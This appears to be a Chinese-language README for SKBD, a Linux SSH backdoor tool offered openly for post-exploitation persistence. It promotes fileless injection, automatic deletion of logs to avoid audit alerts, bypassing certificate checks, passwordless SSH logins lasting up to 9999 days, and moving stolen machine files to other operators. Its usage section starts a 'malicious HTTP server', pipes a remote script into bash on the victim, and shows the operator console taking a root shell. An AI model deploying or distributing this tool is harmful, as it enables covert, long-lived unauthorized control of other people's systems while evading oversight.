SKBD(Scorpion-Killer) Linux-SSH长期隐藏后门持久化控制注入工具
其他工具: Tyran(暴君) 后渗透持久化控制
地址:https://github.com/MartinxMax/tyrant
SKBD (Scorpion-Killer)
地址:https://github.com/MartinxMax/skbd
Linux-SSH后门注入持久化控制工具
-
无文件保存自动化后门注入
使用curl请求，该工具能够自动执行后门注入操作，而不会在系统上留下任何显著的痕迹。 -
自动痕迹日志清理
在后门注入过程中，该工具能够自动清除相关日志和痕迹，确保在监控和审计过程中不会触发警报。 -
CA证书绕过监测
通过利用CA证书机制，该工具能够绕过SSH服务器证书验证检查，进一步增强隐蔽性和持久性。 -
27年期限SSH后门
注入的SSH后门最多可持续27年（9999天），确保长期访问和控制系统。 -
多个无密码用户的SSH登录
支持多个SSH用户独立登录，且不需要密码，提高了灵活性和隐蔽性。 -
可移植性与数据迁移
该工具允许将machines中的所有文件打包并发送给其他用户，支持无缝迁移，实现跨系统部署控制。
使用方法
PS：此脚本必须以ROOT权限执行。
skbd.py : 服务端 (API)
$ python3 skbd.py -h
skbdexec.py : 服务端 (命令执行)
$ python3 skbdexec.py
skbd.sh : 客户端 (载入skbd后门)
$ ./skbd.sh
示例：
- 启动恶意HTTP服务器
$ python3 -m http.server 8181
- 启动服务端 (API):
$ python3 skbd.py
endpoint: https://192.168.0.115:9191
- 启动服务端 (命令执行)：
PS：skbdexec.py可以随时启动。
$ python3 skbdexec.py
- 向客户端注入skbd后门
$ curl http://<IP>:<PORT>/skbd.sh|bash -s -- -e 'https://<IP>:PORT'
- 在服务端（命令执行）访问客户端Shell：
SKBD # info
SKBD # use 1
SKBD[f6b50eecbeca4b61a7e8932c3e9cf9f2]# show
+-------------------------------------------+-------------------------------------------+
| Configuring Machine: f6b50eecbeca4b61a7e8932c3e9cf9f2 |
+-------------------------------------------+-------------------------------------------+
| Parameter | Value |
+-------------------------------------------+-------------------------------------------+
| users | root,postgres,map | (Editable) |
| ips | 192.168.0.111, | (Editable) |
| sn | f6b50eecbeca4b61a7e8932c3e9cf9f2 | (Editable) |
+-------------------------------------------+-------------------------------------------+
此列表显示了客户端可进行SSH登录的用户（root,postgres,map）。可以通过使用命令set user map来更改已登录的用户会话。
SKBD[f6b50eecbeca4b61a7e8932c3e9cf9f2]# set user root
最终的登录参数：
+-------------------+-------------------+
| user: root |
| ip: 192.168.0.111 |
| port: 22 |
+-------------------+-------------------+
SKBD[f6b50eecbeca4b61a7e8932c3e9cf9f2]# run
